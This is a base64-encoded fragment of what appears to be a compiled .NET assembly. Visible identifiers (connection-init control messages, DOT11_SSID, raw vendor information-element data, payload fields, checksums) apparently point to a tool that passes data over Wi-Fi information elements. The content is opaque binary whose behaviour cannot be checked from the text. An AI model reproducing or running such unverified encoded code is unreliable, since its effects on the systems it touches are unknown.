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MJABQBaQMJABgBaQMJABwBQQMJACABRgMCACEBKQMJACQBSwMJACgBUAMJACwBVQMJADABWgMJADQBcwMJADgBeAMIAD0BSwMFAEEBOQMIAEUBeAMFAEkBOQMIALQBaQMIALgBfQMIALwBggMIAMABhwMIAMQBjAMIAMgBkQMIANABQQMIANQBRgMIANgBSwMIANwBUAMIAOABVQMIAOQBWgMIAOgBbgMIAOwBggMIAPABlgMIAPQBmwMIAPgBoAMIAPwBpQMIAAACqgMIAAQCrwMIAAgCtAMIAAwChwMIABACuQMIABQCvgMIABgCwwMIABwCyAMIACACzQMIACQC0gMgAHMAQQMhAHMAQQMhAHsA7QUuAAsAXAUuABMAZQUuABsAhAUuACMAjQUuACsAmAUuADMAmAUuADsAmAUuAEMAjQUuAEsAngUuAFMAmAUuAFsAmAUuAGMAtgUuAGsA4AVAAHMAQQNDAoMAQQOgANcDrADbA7IA3wO4AOID1gDlAzUARwBTAF8AagB8AKIArQC6ANYA4gDsAP4ACQEYAWwBqgGvAcABzgH5Af8BCQJxAo0CnAKhAssC0gLZAt4C4wL5AgIAAQAPAAIAAADJEVMFAABpEFcFAgABAAMAAQACAAMAAgAuAAUAHAwWDQoNGgAnAIcAEQGeAegBMwIAAT0A9Q8BAAABPwA/BwIAAAFBAOEGAQBAAUMAZg0DAAABRQBuEgIAAAFHAMwNAgAEgAAAAQAAAAAAAAAAAAAAAAALDAAAAgAAAAAAAAAAAAAAIAN2AwAAAAACAAAAAAAAAAAAAAAgAz8NAAAAAAgABwAJAAcACgAHAAsABwAMAAcADQAHAA4ABwAPAAcAEAAHABEABwASAAcAEwAHABQABwAVAAcAFgAHAAAAAAAEALICAAAAQ1RMTV9UWVBFX0NPTl9JTklUX1JTUDEAQ1RMTV9UWVBFX0NPTl9JTklUX1JFUTEASUVudW1lcmFibGVgMQBMaW1pdGVkUXVldWVgMQBMaXN0YDEAcGF5MQBJbnQzMgBDVExNX1RZUEVfQ09OX0lOSVRfUlNQMgBDVExNX1RZUEVfQ09OX0lOSVRfUkVRMgBQYWNrZXQyAHBheTIAVG9JbnQ2NABzaW1wbGVDaGVja3N1bTE2AFVJbnQxNgBnZXRfVVRGOABzaW1wbGVDaGVja3N1bTgAPE1vZHVsZT4AUkFXX0lFX0RBVEEAQ1RMTV9UWVBFX1JFU0VUX0xJU1RFTklOR19QUk9DAENPTl9SRVNFVF9SRUFTT05fVU5TUEVDSUZJRUQARE9UMTFfU1NJRAB1Y1NTSUQAQ09OX1JFU0VUX1JFQVNPTl9JTlZBTElEX0NMSUVOVF9JRABjbGllbnRJRABzcnZJRABNVFVfV0lUSF9WRU5fSUUATVRVX1dJVEhPVVRfVkVOX0lFAFNUQVRFX1BFTkRJTkdfQ0xPU0UAU1RBVEVfREVMRVRFAENUTE1fVFlQRV9TRVRfQ0xJRU5UX1BPTExfSU5URVJWQUxMAHdpdGhfVEwAQUNNAE9GRE0ATVNNAFBBWTFfTUFYX0xFTgBQQVkyX01BWF9MRU4AU1